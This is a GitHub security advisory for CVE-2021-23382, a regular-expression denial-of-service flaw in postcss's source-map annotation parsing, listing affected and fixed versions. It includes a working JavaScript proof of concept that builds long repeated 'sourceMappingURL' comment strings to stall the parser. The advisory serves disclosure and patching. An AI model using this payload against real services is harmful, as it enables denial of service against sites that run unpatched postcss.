GitHub Advisoryadvisory · npm
GHSA-566m-qj78-rww5 Regular Expression Denial of Service in postcss
MEDIUM
Official page ↗
- Aliases
- CVE-2021-23382
- Ecosystem
- npm
- Packages
- postcss
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-400
- Reviewed
- 2021-05-20
Affected packages
• npm postcss: >= 8.0.0, < 8.2.13 → fixed in 8.2.13
• npm postcss: < 7.0.36 → fixed in 7.0.36
Description
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
```regex
\/\*\s* sourceMappingURL=(.*)
```
PoC
```js
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
```
```js
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
```
Related
Alias · CVE (1)
- CVE-2021-23382 The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and… vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-23382 advisory
- https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956 web
- https://github.com/postcss/postcss/releases/tag/7.0.36 web
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641 web
- https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640 web